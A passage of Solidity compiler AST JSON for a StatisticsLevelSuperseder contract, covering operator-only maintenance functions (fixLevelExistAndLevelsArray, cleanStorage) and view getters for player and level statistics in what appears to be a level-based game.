ref"}},"id":57694,"indexExpression":{"id":57693,"name":"deployId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57679,"src":"16018:8:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"16011:16:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":57695,"name":"newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56549,"src":"16030:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"16011:42:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":57697,"nodeType":"ExpressionStatement","src":"16011:42:117"},{"expression":{"id":57702,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":57698,"name":"levelExists","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56537,"src":"16064:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":57700,"indexExpression":{"id":57699,"name":"_oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57675,"src":"16076:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"16064:37:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"66616c7365","id":57701,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"16104:5:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"16064:45:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":57703,"nodeType":"ExpressionStatement","src":"16064:45:117"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":57704,"name":"levels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56464,"src":"16119:6:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57706,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16126:3:117","memberName":"pop","nodeType":"MemberAccess","src":"16119:10:117","typeDescriptions":{"typeIdentifier":"t_function_arraypop_nonpayable$_t_array$_t_address_$dyn_storage_ptr_$returns$__$attached_to$_t_array$_t_address_$dyn_storage_ptr_$","typeString":"function (address[] storage pointer)"}},"id":57707,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16119:12:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57708,"nodeType":"ExpressionStatement","src":"16119:12:117"},{"expression":{"id":57712,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57709,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"16142:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":57710,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"16154:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57711,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16164:9:117","memberName":"DUMP_DONE","nodeType":"MemberAccess","referencedDeclaration":56559,"src":"16154:19:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"16142:31:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"id":57713,"nodeType":"ExpressionStatement","src":"16142:31:117"}]},"functionSelector":"edc10e7e","implemented":true,"kind":"function","modifiers":[{"id":57664,"kind":"modifierInvocation","modifierName":{"id":57663,"name":"onlyOperator","nameLocations":["15690:12:117"],"nodeType":"IdentifierPath","referencedDeclaration":56575,"src":"15690:12:117"},"nodeType":"ModifierInvocation","src":"15690:12:117"}],"name":"fixLevelExistAndLevelsArray","nameLocation":"15653:27:117","parameters":{"id":57662,"nodeType":"ParameterList","parameters":[],"src":"15680:2:117"},"returnParameters":{"id":57665,"nodeType":"ParameterList","parameters":[],"src":"15703:0:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":57763,"nodeType":"FunctionDefinition","src":"16186:347:117","nodes":[],"body":{"id":57762,"nodeType":"Block","src":"16230:303:117","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"},"id":57724,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57721,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"16248:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57722,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"16261:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57723,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16271:9:117","memberName":"DUMP_DONE","nodeType":"MemberAccess","referencedDeclaration":56559,"src":"16261:19:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"16248:32:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420636f72726563742064756d70207374616765","id":57725,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16282:24:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""},"value":"Not correct dump stage"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""}],"id":57720,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"16240:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":57726,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16240:67:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57727,"nodeType":"ExpressionStatement","src":"16240:67:117"},{"expression":{"id":57730,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57728,"name":"usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56545,"src":"16317:15:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"30","id":57729,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"16335:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"16317:19:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57731,"nodeType":"ExpressionStatement","src":"16317:19:117"},{"expression":{"id":57737,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57732,"name":"oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56547,"src":"16346:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"hexValue":"30","id":57735,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"16380:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":57734,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16372:7:117","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":57733,"name":"address","nodeType":"ElementaryTypeName","src":"16372:7:117","typeDescriptions":{}}},"id":57736,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16372:10:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"16346:36:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":57738,"nodeType":"ExpressionStatement","src":"16346:36:117"},{"expression":{"id":57744,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57739,"name":"newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56549,"src":"16392:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"hexValue":"30","id":57742,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"16426:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":57741,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16418:7:117","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":57740,"name":"address","nodeType":"ElementaryTypeName","src":"16418:7:117","typeDescriptions":{}}},"id":57743,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16418:10:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"16392:36:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":57745,"nodeType":"ExpressionStatement","src":"16392:36:117"},{"expression":{"id":57751,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57746,"name":"operator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56551,"src":"16438:8:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"hexValue":"30","id":57749,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"16457:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":57748,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16449:7:117","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":57747,"name":"address","nodeType":"ElementaryTypeName","src":"16449:7:117","typeDescriptions":{}}},"id":57750,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16449:10:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"16438:21:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":57752,"nodeType":"ExpressionStatement","src":"16438:21:117"},{"expression":{"id":57755,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57753,"name":"onMaintenance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56543,"src":"16469:13:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"66616c7365","id":57754,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"16485:5:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"16469:21:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":57756,"nodeType":"ExpressionStatement","src":"16469:21:117"},{"expression":{"id":57760,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57757,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"16500:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":57758,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"16512:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57759,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16522:4:117","memberName":"INIT","nodeType":"MemberAccess","referencedDeclaration":56552,"src":"16512:14:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"16500:26:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"id":57761,"nodeType":"ExpressionStatement","src":"16500:26:117"}]},"functionSelector":"7e84d36b","implemented":true,"kind":"function","modifiers":[{"id":57718,"kind":"modifierInvocation","modifierName":{"id":57717,"name":"onlyOperator","nameLocations":["16217:12:117"],"nodeType":"IdentifierPath","referencedDeclaration":56575,"src":"16217:12:117"},"nodeType":"ModifierInvocation","src":"16217:12:117"}],"name":"cleanStorage","nameLocation":"16195:12:117","parameters":{"id":57716,"nodeType":"ParameterList","parameters":[],"src":"16207:2:117"},"returnParameters":{"id":57719,"nodeType":"ParameterList","parameters":[],"src":"16230:0:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":57775,"nodeType":"FunctionDefinition","src":"16590:105:117","nodes":[],"body":{"id":57774,"nodeType":"Block","src":"16660:35:117","nodes":[],"statements":[{"expression":{"baseExpression":{"id":57770,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"16677:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57772,"indexExpression":{"id":57771,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57765,"src":"16685:2:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"16677:11:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":57769,"id":57773,"nodeType":"Return","src":"16670:18:117"}]},"functionSelector":"0bcd484a","implemented":true,"kind":"function","modifiers":[],"name":"getPlayerAtIndex","nameLocation":"16599:16:117","parameters":{"id":57766,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57765,"mutability":"mutable","name":"id","nameLocation":"16624:2:117","nodeType":"VariableDeclaration","scope":57775,"src":"16616:10:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57764,"name":"uint256","nodeType":"ElementaryTypeName","src":"16616:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"16615:12:117"},"returnParameters":{"id":57769,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57768,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57775,"src":"16651:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57767,"name":"address","nodeType":"ElementaryTypeName","src":"16651:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"16650:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":57791,"nodeType":"FunctionDefinition","src":"16701:173:117","nodes":[],"body":{"id":57790,"nodeType":"Block","src":"16805:69:117","nodes":[],"statements":[{"expression":{"baseExpression":{"baseExpression":{"id":57784,"name":"levelFirstInstanceCreationTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56516,"src":"16822:30:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":57786,"indexExpression":{"id":57785,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57777,"src":"16853:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"16822:38:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":57788,"indexExpression":{"id":57787,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57779,"src":"16861:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"16822:45:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":57783,"id":57789,"nodeType":"Return","src":"16815:52:117"}]},"functionSelector":"355159ca","implemented":true,"kind":"function","modifiers":[],"name":"getLevelFirstInstanceCreationTime","nameLocation":"16710:33:117","parameters":{"id":57780,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57777,"mutability":"mutable","name":"player","nameLocation":"16752:6:117","nodeType":"VariableDeclaration","scope":57791,"src":"16744:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57776,"name":"address","nodeType":"ElementaryTypeName","src":"16744:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":57779,"mutability":"mutable","name":"level","nameLocation":"16768:5:117","nodeType":"VariableDeclaration","scope":57791,"src":"16760:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57778,"name":"address","nodeType":"ElementaryTypeName","src":"16760:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"16743:31:117"},"returnParameters":{"id":57783,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57782,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57791,"src":"16796:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57781,"name":"uint256","nodeType":"ElementaryTypeName","src":"16796:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"16795:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57807,"nodeType":"FunctionDefinition","src":"16880:161:117","nodes":[],"body":{"id":57806,"nodeType":"Block","src":"16978:63:117","nodes":[],"statements":[{"expression":{"baseExpression":{"baseExpression":{"id":57800,"name":"levelFirstCompletionTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56522,"src":"16995:24:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":57802,"indexExpression":{"id":57801,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57793,"src":"17020:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"16995:32:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":57804,"indexExpression":{"id":57803,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57795,"src":"17028:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"16995:39:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":57799,"id":57805,"nodeType":"Return","src":"16988:46:117"}]},"functionSelector":"cc7b0192","implemented":true,"kind":"function","modifiers":[],"name":"getLevelFirstCompletionTime","nameLocation":"16889:27:117","parameters":{"id":57796,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57793,"mutability":"mutable","name":"player","nameLocation":"16925:6:117","nodeType":"VariableDeclaration","scope":57807,"src":"16917:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57792,"name":"address","nodeType":"ElementaryTypeName","src":"16917:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":57795,"mutability":"mutable","name":"level","nameLocation":"16941:5:117","nodeType":"VariableDeclaration","scope":57807,"src":"16933:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57794,"name":"address","nodeType":"ElementaryTypeName","src":"16933:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"16916:31:117"},"returnParameters":{"id":57799,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57798,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57807,"src":"16969:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57797,"name":"uint256","nodeType":"ElementaryTypeName","src":"16969:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"16968:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57824,"nodeType":"FunctionDefinition","src":"17047:148:117","nodes":[],"body":{"id":57823,"nodeType":"Block","src":"17145:50:117","nodes":[],"statements":[{"expression":{"baseExpression":{"baseExpression":{"id":57817,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56529,"src":"17162:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref))"}},"id":57819,"indexExpression":{"id":57818,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57809,"src":"17174:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17162:19:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref)"}},"id":57821,"indexExpression":{"id":57820,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57811,"src":"17182:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17162:26:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"functionReturnParameters":57816,"id":57822,"nodeType":"Return","src":"17155:33:117"}]},"functionSelector":"234b78c5","implemented":true,"kind":"function","modifiers":[],"name":"getPlayerStats","nameLocation":"17056:14:117","parameters":{"id":57812,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57809,"mutability":"mutable","name":"player","nameLocation":"17079:6:117","nodeType":"VariableDeclaration","scope":57824,"src":"17071:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57808,"name":"address","nodeType":"ElementaryTypeName","src":"17071:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":57811,"mutability":"mutable","name":"level","nameLocation":"17095:5:117","nodeType":"VariableDeclaration","scope":57824,"src":"17087:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57810,"name":"address","nodeType":"ElementaryTypeName","src":"17087:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"17070:31:117"},"returnParameters":{"id":57816,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57815,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57824,"src":"17123:20:117","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_memory_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance"},"typeName":{"id":57814,"nodeType":"UserDefinedTypeName","pathNode":{"id":57813,"name":"LevelInstance","nameLocations":["17123:13:117"],"nodeType":"IdentifierPath","referencedDeclaration":56482,"src":"17123:13:117"},"referencedDeclaration":56482,"src":"17123:13:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance"}},"visibility":"internal"}],"src":"17122:22:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57837,"nodeType":"FunctionDefinition","src":"17201:114:117","nodes":[],"body":{"id":57836,"nodeType":"Block","src":"17274:41:117","nodes":[],"statements":[{"expression":{"baseExpression":{"id":57832,"name":"levelStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56510,"src":"17291:10:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$56489_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.Level storage ref)"}},"id":57834,"indexExpression":{"id":57833,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57826,"src":"17302:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17291:17:117","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_storage","typeString":"struct StatisticsLevelSuperseder.Level storage ref"}},"functionReturnParameters":57831,"id":57835,"nodeType":"Return","src":"17284:24:117"}]},"functionSelector":"c5a5b457","implemented":true,"kind":"function","modifiers":[],"name":"getLevelStats","nameLocation":"17210:13:117","parameters":{"id":57827,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57826,"mutability":"mutable","name":"level","nameLocation":"17232:5:117","nodeType":"VariableDeclaration","scope":57837,"src":"17224:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57825,"name":"address","nodeType":"ElementaryTypeName","src":"17224:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"17223:15:117"},"returnParameters":{"id":57831,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57830,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57837,"src":"17260:12:117","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_memory_ptr","typeString":"struct StatisticsLevelSuperseder.Level"},"typeName":{"id":57829,"nodeType":"UserDefinedTypeName","pathNode":{"id":57828,"name":"Level","nameLocations":["17260:5:117"],"nodeType":"IdentifierPath","referencedDeclaration":56489,"src":"17260:5:117"},"referencedDeclaration":56489,"src":"17260:5:117","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_storage_ptr","typeString":"struct 